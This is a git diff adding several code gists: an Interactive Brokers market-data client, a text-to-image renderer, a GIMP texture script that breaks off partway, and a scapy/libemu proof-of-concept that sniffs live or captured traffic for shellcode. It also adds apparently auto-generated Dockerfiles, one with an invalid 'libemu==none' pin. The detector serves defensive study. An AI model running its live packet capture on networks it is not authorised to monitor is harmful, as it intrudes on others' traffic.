Binary files /dev/null and b/hard-gists/9c411d2b88eab4232cc66a9c7f6988fc/._snippet.py differ
diff --git a/hard-gists/9c411d2b88eab4232cc66a9c7f6988fc/snippet.py b/hard-gists/9c411d2b88eab4232cc66a9c7f6988fc/snippet.py
new file mode 100644
index 00000000..0dba8d37
--- /dev/null
+++ b/hard-gists/9c411d2b88eab4232cc66a9c7f6988fc/snippet.py
@@ -0,0 +1,442 @@
+# Gist example of IB wrapper ...
+#
+# Download API from http://interactivebrokers.github.io/#
+#
+# Install python API code /IBJts/source/pythonclient $ python3 setup.py install
+#
+# Note: The test cases, and the documentation refer to a python package called IBApi,
+#    but the actual package is called ibapi. Go figure.
+#
+# Get the latest version of the gateway:
+# https://www.interactivebrokers.com/en/?f=%2Fen%2Fcontrol%2Fsystemstandalone-ibGateway.php%3Fos%3Dunix
+#    (for unix: windows and mac users please find your own version)
+#
+# Run the gateway
+#
+# user: edemo
+# pwd: demo123
+#
+# Now I'll try and replicate the historical data example
+
+from ibapi.wrapper import EWrapper
+from ibapi.client import EClient
+from ibapi.contract import Contract as IBcontract
+
+import time
+from threading import Thread
+import queue
+import datetime
+import pandas as pd
+import numpy as np
+
+DEFAULT_MARKET_DATA_ID=50
+DEFAULT_GET_CONTRACT_ID=43
+
+## marker for when queue is finished
+FINISHED = object()
+STARTED = object()
+TIME_OUT = object()
+
+class finishableQueue(object):
+
+    def __init__(self, queue_to_finish):
+
+        self._queue = queue_to_finish
+        self.status = STARTED
+
+    def get(self, timeout):
+        """
+        Returns a list of queue elements once timeout is finished, or a FINISHED flag is received in the queue
+
+        :param timeout: how long to wait before giving up
+        :return: list of queue elements
+        """
+        contents_of_queue=[]
+        finished=False
+
+        while not finished:
+            try:
+                current_element = self._queue.get(timeout=timeout)
+                if current_element is FINISHED:
+                    finished = True
+                    self.status = FINISHED
+                else:
+                    contents_of_queue.append(current_element)
+                    ## keep going and try and get more data
+
+            except queue.Empty:
+                ## If we hit a time out it's most probable we're not getting a finished element any time soon
+                ## give up and return what we have
+                finished = True
+                self.status = TIME_OUT
+
+
+        return contents_of_queue
+
+    def timed_out(self):
+        return self.status is TIME_OUT
+
+
+def _nan_or_int(x):
+    if not np.isnan(x):
+        return int(x)
+    else:
+        return x
+
+class stream_of_ticks(list):
+    """
+    Stream of ticks
+    """
+
+    def __init__(self, list_of_ticks):
+        super().__init__(list_of_ticks)
+
+    def as_pdDataFrame(self):
+
+        if len(self)==0:
+            ## no data; do a blank tick
+            return tick(datetime.datetime.now()).as_pandas_row()
+
+        pd_row_list=[tick.as_pandas_row() for tick in self]
+        pd_data_frame=pd.concat(pd_row_list)
+
+        return pd_data_frame
+
+
+class tick(object):
+    """
+    Convenience method for storing ticks
+    Not IB specific, use as abstract
+    """
+    def __init__(self, timestamp, bid_size=np.nan, bid_price=np.nan,
+                 ask_size=np.nan, ask_price=np.nan,
+                 last_trade_size=np.nan, last_trade_price=np.nan,
+                 ignorable_tick_id=None):
+
+        ## ignorable_tick_id keyword must match what is used in the IBtick class
+
+        self.timestamp=timestamp
+        self.bid_size=_nan_or_int(bid_size)
+        self.bid_price=bid_price
+        self.ask_size=_nan_or_int(ask_size)
+        self.ask_price=ask_price
+        self.last_trade_size=_nan_or_int(last_trade_size)
+        self.last_trade_price=last_trade_price
+
+    def __repr__(self):
+        return self.as_pandas_row().__repr__()
+
+    def as_pandas_row(self):
+        """
+        Tick as a pandas dataframe, single row, so we can concat together
+        :return: pd.DataFrame
+        """
+
+        attributes=['bid_size','bid_price', 'ask_size', 'ask_price',
+                    'last_trade_size', 'last_trade_price']
+
+        self_as_dict=dict([(attr_name, getattr(self, attr_name)) for attr_name in attributes])
+
+        return pd.DataFrame(self_as_dict, index=[self.timestamp])
+
+
+class IBtick(tick):
+    """
+    Resolve IB tick categories
+    """
+
+    def __init__(self, timestamp, tickid, value):
+
+        resolve_tickid=self.resolve_tickids(tickid)
+        super().__init__(timestamp, **dict([(resolve_tickid, value)]))
+
+    def resolve_tickids(self, tickid):
+
+        tickid_dict=dict([("0", "bid_size"), ("1", "bid_price"), ("2", "ask_price"), ("3", "ask_size"),
+                          ("4", "last_trade_price"), ("5", "last_trade_size")])
+
+        if str(tickid) in tickid_dict.keys():
+            return tickid_dict[str(tickid)]
+        else:
+            # This must be the same as the argument name in the parent class
+            return "ignorable_tick_id"
+
+
+
+class TestWrapper(EWrapper):
+    """
+    The wrapper deals with the action coming back from the IB gateway or TWS instance
+
+    We override methods in EWrapper that will get called when this action happens, like currentTime
+
+    Extra methods are added as we need to store the results in this object
+    """
+
+    def __init__(self):
+        self._my_contract_details = {}
+        self._my_market_data_dict = {}
+
+    ## error handling code
+    def init_error(self):
+        error_queue=queue.Queue()
+        self._my_errors = error_queue
+
+    def get_error(self, timeout=5):
+        if self.is_error():
+            try:
+                return self._my_errors.get(timeout=timeout)
+            except queue.Empty:
+                return None
+
+        return None
+
+    def is_error(self):
+        an_error_if=not self._my_errors.empty()
+        return an_error_if
+
+    def error(self, id, errorCode, errorString):
+        ## Overriden method
+        errormsg = "IB error id %d errorcode %d string %s" % (id, errorCode, errorString)
+        self._my_errors.put(errormsg)
+
+
+    ## get contract details code
+    def init_contractdetails(self, reqId):
+        contract_details_queue = self._my_contract_details[reqId] = queue.Queue()
+
+        return contract_details_queue
+
+    def contractDetails(self, reqId, contractDetails):
+        ## overridden method
+
+        if reqId not in self._my_contract_details.keys():
+            self.init_contractdetails(reqId)
+
+        self._my_contract_details[reqId].put(contractDetails)
+
+    def contractDetailsEnd(self, reqId):
+        ## overriden method
+        if reqId not in self._my_contract_details.keys():
+            self.init_contractdetails(reqId)
+
+        self._my_contract_details[reqId].put(FINISHED)
+
+    # market data
+    def init_market_data(self, tickerid):
+        market_data_queue = self._my_market_data_dict[tickerid] = queue.Queue()
+
+        return market_data_queue
+
+
+    def get_time_stamp(self):
+        ## Time stamp to apply to market data
+        ## We could also use IB server time
+        return datetime.datetime.now()
+
+
+    def tickPrice(self, tickerid , tickType, price, attrib):
+        ##overriden method
+
+        ## For simplicity I'm ignoring these but they could be useful to you...
+        ## See the documentation http://interactivebrokers.github.io/tws-api/md_receive.html#gsc.tab=0
+        # attrib.canAutoExecute
+        # attrib.pastLimit
+
+        this_tick_data=IBtick(self.get_time_stamp(),tickType, price)
+        self._my_market_data_dict[tickerid].put(this_tick_data)
+
+
+    def tickSize(self, tickerid, tickType, size):
+        ## overriden method
+
+        this_tick_data=IBtick(self.get_time_stamp(), tickType, size)
+        self._my_market_data_dict[tickerid].put(this_tick_data)
+
+
+    def tickString(self, tickerid, tickType, value):
+        ## overriden method
+
+        ## value is a string, make it a float, and then in the parent class will be resolved to int if size
+        this_tick_data=IBtick(self.get_time_stamp(),tickType, float(value))
+        self._my_market_data_dict[tickerid].put(this_tick_data)
+
+
+    def tickGeneric(self, tickerid, tickType, value):
+        ## overriden method
+
+        this_tick_data=IBtick(self.get_time_stamp(),tickType, value)
+        self._my_market_data_dict[tickerid].put(this_tick_data)
+
+
+
+class TestClient(EClient):
+    """
+    The client method
+
+    We don't override native methods, but instead call them from our own wrappers
+    """
+    def __init__(self, wrapper):
+        ## Set up with a wrapper inside
+        EClient.__init__(self, wrapper)
+
+        self._market_data_q_dict = {}
+
+    def resolve_ib_contract(self, ibcontract, reqId=DEFAULT_GET_CONTRACT_ID):
+
+        """
+        From a partially formed contract, returns a fully fledged version
+
+        :returns fully resolved IB contract
+        """
+
+        ## Make a place to store the data we're going to return
+        contract_details_queue = finishableQueue(self.init_contractdetails(reqId))
+
+        print("Getting full contract details from the server... ")
+
+        self.reqContractDetails(reqId, ibcontract)
+
+        ## Run until we get a valid contract(s) or get bored waiting
+        MAX_WAIT_SECONDS = 10
+        new_contract_details = contract_details_queue.get(timeout = MAX_WAIT_SECONDS)
+
+        while self.wrapper.is_error():
+            print(self.get_error())
+
+        if contract_details_queue.timed_out():
+            print("Exceeded maximum wait for wrapper to confirm finished - seems to be normal behaviour")
+
+        if len(new_contract_details)==0:
+            print("Failed to get additional contract details: returning unresolved contract")
+            return ibcontract
+
+        if len(new_contract_details)>1:
+            print("got multiple contracts using first one")
+
+        new_contract_details=new_contract_details[0]
+
+        resolved_ibcontract=new_contract_details.summary
+
+        return resolved_ibcontract
+
+
+    def start_getting_IB_market_data(self, resolved_ibcontract, tickerid=DEFAULT_MARKET_DATA_ID):
+        """
+        Kick off market data streaming
+        :param resolved_ibcontract: a Contract object
+        :param tickerid: the identifier for the request
+        :return: tickerid
+        """
+
+        self._market_data_q_dict[tickerid] = self.wrapper.init_market_data(tickerid)
+        self.reqMktData(tickerid, resolved_ibcontract, "", False, False, [])
+
+        return tickerid
+
+    def stop_getting_IB_market_data(self, tickerid):
+        """
+        Stops the stream of market data and returns all the data we've had since we last asked for it
+        :param tickerid: identifier for the request
+        :return: market data
+        """
+
+        ## native EClient method
+        self.cancelMktData(tickerid)
+
+        ## Sometimes a lag whilst this happens, this prevents 'orphan' ticks appearing
+        time.sleep(5)
+
+        market_data = self.get_IB_market_data(tickerid)
+
+        ## output ay errors
+        while self.wrapper.is_error():
+            print(self.get_error())
+
+        return market_data
+
+    def get_IB_market_data(self, tickerid):
+        """
+        Takes all the market data we have received so far out of the stack, and clear the stack
+        :param tickerid: identifier for the request
+        :return: market data
+        """
+
+        ## how long to wait for next item
+        MAX_WAIT_MARKETDATEITEM = 5
+        market_data_q = self._market_data_q_dict[tickerid]
+
+        market_data=[]
+        finished=False
+
+        while not finished:
+            try:
+                market_data.append(market_data_q.get(timeout=MAX_WAIT_MARKETDATEITEM))
+            except queue.Empty:
+                ## no more data
+                finished=True
+
+        return stream_of_ticks(market_data)
+
+
+class TestApp(TestWrapper, TestClient):
+    def __init__(self, ipaddress, portid, clientid):
+        TestWrapper.__init__(self)
+        TestClient.__init__(self, wrapper=self)
+
+        self.connect(ipaddress, portid, clientid)
+
+        thread = Thread(target = self.run)
+        thread.start()
+
+        setattr(self, "_thread", thread)
+
+        self.init_error()
+
+
+#if __name__ == '__main__':
+
+app = TestApp("127.0.0.1", 4001, 1)
+
+## lets get prices for this
+ibcontract = IBcontract()
+ibcontract.secType = "FUT"
+ibcontract.lastTradeDateOrContractMonth="201812"
+ibcontract.symbol="GE"
+ibcontract.exchange="GLOBEX"
+
+## resolve the contract
+resolved_ibcontract = app.resolve_ib_contract(ibcontract)
+
+tickerid = app.start_getting_IB_market_data(resolved_ibcontract)
+
+time.sleep(30)
+
+## What have we got so far?
+market_data1 = app.get_IB_market_data(tickerid)
+
+print(market_data1[0])
+
+market_data1_as_df = market_data1.as_pdDataFrame()
+print(market_data1_as_df)
+
+time.sleep(30)
+
+## stops the stream and returns all the data we've got so far
+market_data2 = app.stop_getting_IB_market_data(tickerid)
+
+## glue the data together
+market_data2_as_df = market_data2.as_pdDataFrame()
+all_market_data_as_df = pd.concat([market_data1_as_df, market_data2_as_df])
+
+## show some quotes
+some_quotes = all_market_data_as_df.resample("1S").last()[["bid_size", "bid_price", "ask_price", "ask_size"]]
+print(some_quotes.head(10))
+
+## show some trades
+some_trades = all_market_data_as_df.resample("10L").last()[["last_trade_price", "last_trade_size"]]
+print(some_trades.head(10))
+
+app.disconnect()
+
+
+
diff --git a/hard-gists/9c4d012d6fff059ccea7/._snippet.py b/hard-gists/9c4d012d6fff059ccea7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9c4d012d6fff059ccea7/._snippet.py differ
diff --git a/hard-gists/9c4d012d6fff059ccea7/snippet.py b/hard-gists/9c4d012d6fff059ccea7/snippet.py
new file mode 100644
index 00000000..79024601
--- /dev/null
+++ b/hard-gists/9c4d012d6fff059ccea7/snippet.py
@@ -0,0 +1,328 @@
+# -*- coding: utf-8 -*-
+#
+# Author: oldj
+# Email: oldj.wu@gmail.com
+# Blog: http://oldj.net
+#
+
+import os
+import re
+import StringIO
+from PIL import Image
+from PIL import ImageDraw
+import pygame
+
+g_script_folder = os.path.dirname(os.path.abspath(__file__))
+g_fonts_folder = os.path.join(g_script_folder, "fonts")
+
+g_re_first_word = re.compile((u""
+    + u"(%(prefix)s+\S%(postfix)s+)" # 标点
+    + u"|(%(prefix)s*\w+%(postfix)s*)" # 单词
+    + u"|(%(prefix)s+\S)|(\S%(postfix)s+)" # 标点
+    + u"|(\d+%%)" # 百分数
+    ) % {
+    "prefix": u"['\"\(<\[\{‘“（《「『]",
+    "postfix": u"[:'\"\)>\]\}：’”）》」』,;\.\?!，、；。？！]",
+})
+
+pygame.init()
+
+def getFontForPyGame(font_name="wqy-zenhei.ttc", font_size=14):
+
+    return pygame.font.Font(os.path.join(g_fonts_folder, font_name), font_size)
+
+
+def makeConfig(cfg=None):
+
+    if not cfg or type(cfg) != dict:
+        cfg = {}
+
+    default_cfg = {
+        "width": 440, # px
+        "padding": (15, 18, 20, 18),
+        "line-height": 20, #px
+        "title-line-height": 32, #px
+        "font-size": 14, # px
+        "title-font-size": 24, # px
+        "font-family": "wqy-zenhei.ttc",
+#        "font-family": "msyh.ttf",
+        "font-color": (0, 0, 0),
+        "font-antialiasing": True, # 字体是否反锯齿
+        "background-color": (255, 255, 255),
+        "border-size": 1,
+        "border-color": (192, 192, 192),
+        "copyright": u"本图文由 txt2.im 自动生成，但不代表 txt2.im 赞同其内容或立场。",
+        "copyright-center": False, # 版权信息居中显示，如为 False 则居左显示
+        "first-line-as-title": True,
+        "break-word": False,
+    }
+
+    default_cfg.update(cfg)
+
+    return default_cfg
+
+
+def makeLineToWordsList(line, break_word=False):
+    u"""将一行文本转为单词列表"""
+
+    if break_word:
+        return [c for c in line]
+
+    lst = []
+    while line:
+        ro = g_re_first_word.match(line)
+        end = 1 if not ro else ro.end()
+        lst.append(line[:end])
+        line = line[end:]
+
+    return lst
+
+
+def makeLongLineToLines(long_line, start_x, start_y, width, line_height, font, cn_char_width=0):
+    u"""将一个长行分成多个可显示的短行"""
+
+    txt = long_line
+#    txt = u"测试汉字abc123"
+#    txt = txt.decode("utf-8")
+
+    if not txt:
+        return [None]
+
+    words = makeLineToWordsList(txt)
+    lines = []
+
+    if not cn_char_width:
+        cn_char_width, h = font.size(u"汉")
+    avg_char_per_line = width / cn_char_width
+    if avg_char_per_line <= 1:
+        avg_char_per_line = 1
+
+    line_x = start_x
+    line_y = start_y
+
+    while words:
+
+        tmp_words = words[:avg_char_per_line]
+        tmp_ln = "".join(tmp_words)
+        w, h = font.size(tmp_ln)
+        wc = len(tmp_words)
+        while w < width and wc < len(words):
+            wc += 1
+            tmp_words = words[:wc]
+            tmp_ln = "".join(tmp_words)
+            w, h = font.size(tmp_ln)
+        while w > width and len(tmp_words) > 1:
+            tmp_words = tmp_words[:-1]
+            tmp_ln = "".join(tmp_words)
+            w, h = font.size(tmp_ln)
+            
+        if w > width and len(tmp_words) == 1:
+            # 处理一个长单词或长数字
+            line_y = makeLongWordToLines(
+                tmp_words[0], line_x, line_y, width, line_height, font, lines
+            )
+            words = words[len(tmp_words):]
+            continue
+
+        line = {
+            "x": line_x,
+            "y": line_y,
+            "text": tmp_ln,
+            "font": font,
+        }
+
+        line_y += line_height
+        words = words[len(tmp_words):]
+
+        lines.append(line)
+
+        if len(lines) >= 1:
+            # 去掉长行的第二行开始的行首的空白字符
+            while len(words) > 0 and not words[0].strip():
+                words = words[1:]
+
+    return lines
+
+
+def makeLongWordToLines(long_word, line_x, line_y, width, line_height, font, lines):
+
+    if not long_word:
+        return line_y
+
+    c = long_word[0]
+    char_width, char_height = font.size(c)
+    default_char_num_per_line = width / char_width
+
+    while long_word:
+
+        tmp_ln = long_word[:default_char_num_per_line]
+        w, h = font.size(tmp_ln)
+        
+        l = len(tmp_ln)
+        while w < width and l < len(long_word):
+            l += 1
+            tmp_ln = long_word[:l]
+            w, h = font.size(tmp_ln)
+        while w > width and len(tmp_ln) > 1:
+            tmp_ln = tmp_ln[:-1]
+            w, h = font.size(tmp_ln)
+
+        l = len(tmp_ln)
+        long_word = long_word[l:]
+
+        line = {
+            "x": line_x,
+            "y": line_y,
+            "text": tmp_ln,
+            "font": font,
+            }
+
+        line_y += line_height
+        lines.append(line)
+        
+    return line_y
+
+
+def makeMatrix(txt, font, title_font, cfg):
+
+    width = cfg["width"]
+
+    data = {
+        "width": width,
+        "height": 0,
+        "lines": [],
+    }
+
+    a = txt.split("\n")
+    cur_x = cfg["padding"][3]
+    cur_y = cfg["padding"][0]
+    cn_char_width, h = font.size(u"汉")
+
+    for ln_idx, ln in enumerate(a):
+        ln = ln.rstrip()
+        if ln_idx == 0 and cfg["first-line-as-title"]:
+            f = title_font
+            line_height = cfg["title-line-height"]
+        else:
+            f = font
+            line_height = cfg["line-height"]
+        current_width = width - cur_x - cfg["padding"][1]
+        lines = makeLongLineToLines(ln, cur_x, cur_y, current_width, line_height, f, cn_char_width=cn_char_width)
+        cur_y += line_height * len(lines)
+
+        data["lines"].extend(lines)
+
+    data["height"] = cur_y + cfg["padding"][2]
+
+    return data
+
+
+def makeImage(data, cfg):
+    u"""
+    """
+
+    width, height = data["width"], data["height"]
+    if cfg["copyright"]:
+        height += 48
+    im = Image.new("RGB", (width, height), cfg["background-color"])
+    dr = ImageDraw.Draw(im)
+
+    for ln_idx, line in enumerate(data["lines"]):
+        __makeLine(im, line, cfg)
+#        dr.text((line["x"], line["y"]), line["text"], font=font, fill=cfg["font-color"])
+
+    # 缩放
+#    im = im.resize((width / 2, height / 2), Image.ANTIALIAS)
+
+    drawBorder(im, dr, cfg)
+    drawCopyright(im, dr, cfg)
+
+    return im
+
+
+def drawCopyright(im, dr, cfg):
+    u"""绘制版权信息"""
+
+    if not cfg["copyright"]:
+        return
+
+    font = getFontForPyGame(font_name=cfg["font-family"], font_size=12)
+    rtext = font.render(cfg["copyright"],
+        cfg["font-antialiasing"], (128, 128, 128), cfg["background-color"]
+    )
+    sio = StringIO.StringIO()
+    pygame.image.save(rtext, sio)
+    sio.seek(0)
+    copyright_im = Image.open(sio)
+
+    iw, ih = im.size
+    cw, ch = rtext.get_size()
+    padding = cfg["padding"]
+
+    offset_y = ih - 32 - padding[2]
+    if cfg["copyright-center"]:
+        cx = (iw - cw) / 2
+    else:
+        cx = cfg["padding"][3]
+    cy = offset_y + 12
+
+    dr.line([(padding[3], offset_y), (iw - padding[1], offset_y)], width=1, fill=(192, 192, 192))
+    im.paste(copyright_im, (cx, cy))
+
+
+def drawBorder(im, dr, cfg):
+    u"""绘制边框"""
+
+    if not cfg["border-size"]:
+        return
+
+    w, h = im.size
+    x, y = w - 1, h - 1
+    dr.line(
+        [(0, 0), (x, 0), (x, y), (0, y), (0, 0)],
+        width=cfg["border-size"],
+        fill=cfg["border-color"],
+    )
+
+
+def __makeLine(im, line, cfg):
+
+    if not line:
+        return
+
+    sio = StringIO.StringIO()
+    x, y = line["x"], line["y"]
+    text = line["text"]
+    font = line["font"]
+    rtext = font.render(text, cfg["font-antialiasing"], cfg["font-color"], cfg["background-color"])
+    pygame.image.save(rtext, sio)
+
+    sio.seek(0)
+    ln_im = Image.open(sio)
+
+    im.paste(ln_im, (x, y))
+
+
+def txt2im(txt, outfn, cfg=None, show=False):
+
+#    print(cfg)
+    cfg = makeConfig(cfg)
+#    print(cfg)
+    font = getFontForPyGame(cfg["font-family"], cfg["font-size"])
+    title_font = getFontForPyGame(cfg["font-family"], cfg["title-font-size"])
+    data = makeMatrix(txt, font, title_font, cfg)
+    im = makeImage(data, cfg)
+    im.save(outfn)
+    if os.name == "nt" and show:
+        im.show()
+
+
+def test():
+
+    c = open("test.txt", "rb").read().decode("utf-8")
+    txt2im(c, "test.png", show=True)
+
+
+if __name__ == "__main__":
+    test()
+  
\ No newline at end of file
diff --git a/hard-gists/9cba618eacedc68c656b/._snippet.py b/hard-gists/9cba618eacedc68c656b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9cba618eacedc68c656b/._snippet.py differ
diff --git a/hard-gists/9cba618eacedc68c656b/Dockerfile-llm-2.7 b/hard-gists/9cba618eacedc68c656b/Dockerfile-llm-2.7
new file mode 100644
index 00000000..2d90ce19
--- /dev/null
+++ b/hard-gists/9cba618eacedc68c656b/Dockerfile-llm-2.7
@@ -0,0 +1,12 @@
+# FROM is the found expected Python version
+FROM python:2.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","libemu==none"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","scapy==2.4.5"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/9cba618eacedc68c656b/Dockerfile-llm-3.8 b/hard-gists/9cba618eacedc68c656b/Dockerfile-llm-3.8
new file mode 100644
index 00000000..998c8c83
--- /dev/null
+++ b/hard-gists/9cba618eacedc68c656b/Dockerfile-llm-3.8
@@ -0,0 +1,12 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","libemu==0.5.2"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","scapy==2.7.0"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/9cba618eacedc68c656b/modules/cachetools_3.8.txt b/hard-gists/9cba618eacedc68c656b/modules/cachetools_3.8.txt
new file mode 100644
index 00000000..ce72bf31
--- /dev/null
+++ b/hard-gists/9cba618eacedc68c656b/modules/cachetools_3.8.txt
@@ -0,0 +1 @@
+0.0.0, 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4.0, 0.5.0, 0.5.1, 0.6.0, 0.7.0, 0.7.1, 0.8.0, 0.8.1, 0.8.2, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.1.6, 2.0.0, 2.0.1, 2.1.0, 3.0.0, 3.1.0, 3.1.1, 4.0.0, 4.1.0, 4.1.1, 4.2.0, 4.2.1, 4.2.2, 4.2.4, 5.0.0, 5.1.0, 5.2.0, 5.2.1, 5.3.0, 5.3.1, 5.3.2, 5.3.3, 5.4.0, 5.5.0, 5.5.1, 5.5.2, 6.0.0, 6.1.0, 6.2.0, 6.2.1, 6.2.2, 6.2.3, 6.2.4, 6.2.5, 6.2.6, 7.0.0, 7.0.1, 7.0.2, 7.0.3, 7.0.4, 7.0.5
\ No newline at end of file
diff --git a/hard-gists/9cba618eacedc68c656b/modules/libemu_2.7.txt b/hard-gists/9cba618eacedc68c656b/modules/libemu_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/9cba618eacedc68c656b/modules/libemu_3.8.txt b/hard-gists/9cba618eacedc68c656b/modules/libemu_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/9cba618eacedc68c656b/modules/scapy_2.7.txt b/hard-gists/9cba618eacedc68c656b/modules/scapy_2.7.txt
new file mode 100644
index 00000000..b2560dee
--- /dev/null
+++ b/hard-gists/9cba618eacedc68c656b/modules/scapy_2.7.txt
@@ -0,0 +1 @@
+2.2.0-dev, 2.3.1, 2.3.2, 2.3.3, 2.4.0, 2.4.0rc3, 2.4.0rc4, 2.4.0rc5, 2.4.1, 2.4.2, 2.4.3, 2.4.3rc1, 2.4.3rc2, 2.4.3rc3, 2.4.3rc4, 2.4.4, 2.4.4rc1, 2.4.4rc2, 2.4.5, 2.4.5rc1, 2.4rc2
\ No newline at end of file
diff --git a/hard-gists/9cba618eacedc68c656b/modules/scapy_3.8.txt b/hard-gists/9cba618eacedc68c656b/modules/scapy_3.8.txt
new file mode 100644
index 00000000..3f02a680
--- /dev/null
+++ b/hard-gists/9cba618eacedc68c656b/modules/scapy_3.8.txt
@@ -0,0 +1 @@
+2.2.0-dev, 2.3.1, 2.3.2, 2.3.3, 2.4.0, 2.4.0rc3, 2.4.0rc4, 2.4.0rc5, 2.4.1, 2.4.2, 2.4.3, 2.4.3rc1, 2.4.3rc2, 2.4.3rc3, 2.4.3rc4, 2.4.4, 2.4.4rc1, 2.4.4rc2, 2.4.5, 2.4.5rc1, 2.4rc2, 2.6.0, 2.6.0rc1, 2.6.0rc2, 2.6.1, 2.7.0, 2.7.0rc1
\ No newline at end of file
diff --git a/hard-gists/9cba618eacedc68c656b/snippet.py b/hard-gists/9cba618eacedc68c656b/snippet.py
new file mode 100644
index 00000000..52b85171
--- /dev/null
+++ b/hard-gists/9cba618eacedc68c656b/snippet.py
@@ -0,0 +1,96 @@
+#!/usr/bin/env python2
+import logging
+
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
+from multiprocessing.pool import ThreadPool
+from multiprocessing import cpu_count
+import libemu
+from cachetools import LRUCache
+from scapy.layers.all import TCP, UDP, Raw
+from scapy.all import sniff
+import Queue
+
+
+stream_cache = LRUCache(1024)
+BUFFER_SIZE = 1024 * 1024
+USE_SLIDING_WINDOW = True
+THREADS = cpu_count()
+thread_pool = None
+
+
+class LimitedPool(ThreadPool):
+    def __init__(self, processes=None, initializer=None, initargs=(), max_queue_size=10000):
+        self._max_queue_size = max_queue_size
+        ThreadPool.__init__(self, processes, initializer, initargs)
+
+    def _setup_queues(self):
+        self._inqueue = Queue.Queue(self._max_queue_size)
+        self._outqueue = Queue.Queue()
+        self._quick_put = self._inqueue.put
+        self._quick_get = self._outqueue.get
+
+
+def generate_key(packet):
+    k = "{0}:{1}-{2}:{3}".format(packet.payload.src, packet.payload.payload.sport, packet.payload.dst, packet.payload.payload.dport)
+    if packet.haslayer(TCP):
+        return "tcp://{0}".format(k)
+    if packet.haslayer(UDP):
+        return "udp://{0}".format(k)
+
+
+def test_for_shellcode((key, packet, file_path)):
+    e = libemu.Emulator()
+    r = e.test(packet)
+    if r is not None and r >= 0:
+        logging.warning("{2}: {0} - {1}".format(key, {"offset": r}, file_path))
+
+
+def process_packet(pkt, file_path):
+    global thread_pool
+    try:
+        if pkt.haslayer(Raw) and len(pkt[Raw].original) > 0:
+            k = generate_key(pkt)
+            if USE_SLIDING_WINDOW:
+                if k in stream_cache:
+                    stream_cache[k] += pkt[Raw].original
+                    stream_cache[k] = stream_cache[k][-BUFFER_SIZE:]
+                else:
+                    stream_cache[k] = pkt[Raw].original[-BUFFER_SIZE:]
+                p = stream_cache[k]
+            else:
+                p = pkt[Raw].original
+
+            #test_for_shellcode((k, p, file_path))
+            thread_pool.apply_async(test_for_shellcode, [(k, p, file_path)])
+    except KeyboardInterrupt:
+        raise
+    except:
+        pass
+
+
+if __name__ == "__main__":
+    logging.basicConfig(level=logging.DEBUG)
+    from argparse import ArgumentParser
+
+    parser = ArgumentParser(
+        prog=__file__,
+        description="Proof of concept for shellcode identification in pcap or network",
+        version="%(prog)s v0.0.1 by Brian Wallace (@botnet_hunter)",
+        epilog="%(prog)s v0.0.1 by Brian Wallace (@botnet_hunter)"
+    )
+    parser.add_argument('path', metavar='path', type=str, nargs='*', default=None, help="Paths to files to parse")
+
+    args = parser.parse_args()
+
+    thread_pool = LimitedPool(processes=THREADS, max_queue_size=200)
+
+    if args.path is None or len(args.path) == 0:
+        print "Live sniffing"
+        sniff(store=0, filter="tcp or udp", prn=lambda x: process_packet(x, "live"))
+    else:
+        for p in args.path:
+            logging.warning("Reading packets from {0}".format(p))
+            sniff(store=0, filter="tcp or udp", offline=p, prn=lambda x: process_packet(x, p))
+
+    thread_pool.close()
+    thread_pool.join()
\ No newline at end of file
diff --git a/hard-gists/9cc23ce7c1e5c9e4379e/._snippet.py b/hard-gists/9cc23ce7c1e5c9e4379e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9cc23ce7c1e5c9e4379e/._snippet.py differ
diff --git a/hard-gists/9cc23ce7c1e5c9e4379e/snippet.py b/hard-gists/9cc23ce7c1e5c9e4379e/snippet.py
new file mode 100644
index 00000000..cc2269db
--- /dev/null
+++ b/hard-gists/9cc23ce7c1e5c9e4379e/snippet.py
@@ -0,0 +1,211 @@
+#!/usr/bin/env python
+
+#made by insomniac_lemon
+
+from gimpfu import *
+import os
+import errno
+
+def makedirectory(path):
+	try:
+		os.makedirs(path)
+	except OSError as exception:
+		if exception.errno != errno.EEXIST:
+			raise
+
+home = os.path.expanduser("~")
+
+
+
+
+def refresh():
+	global images 
+	global image
+	global layer
+	images = gimp.image_list() 
+	image = images[0]
+	layer = image.layers[0]
+
+refresh()
+
+layer_name = pdb.gimp_layer_get_name(layer)
+
+if ('clock' in layer_name) :
+	animation = 'clock'
+	frame_type = 'time'
+
+if ('compass' in layer_name) :
+	animation = 'compass'
+	frame_type = 'angle'
+
+file_path_base = home + '/convert_clock_compass/'
+file_path_base_textures = file_path_base + 'assets/minecraft/textures/items/'
+file_path_base_models = file_path_base + 'assets/minecraft/models/item/'
+
+if (animation == 'clock'):
+	filefolder = 'clock/clock'
+
+if (animation == 'compass'):
+	filefolder = 'compass/compass'
+
+deleted = False
+
+if ((os.path.exists(file_path_base_models + animation + '/')) and file_path_base != home):
+	deleted = True
+	for root, dirs, files in os.walk(file_path_base, topdown=False):
+    		for name in files:
+        		os.remove(os.path.join(root, name))
+    		for name in dirs:
+        		os.rmdir(os.path.join(root, name))
+
+makedirectory(file_path_base_textures + animation + '/')
+makedirectory(file_path_base_models + animation + '/')
+
+w = pdb.gimp_image_width(image)
+h = pdb.gimp_image_height(image)
+tile_number = h/w
+current_tile = 0
+animation_frame = 0
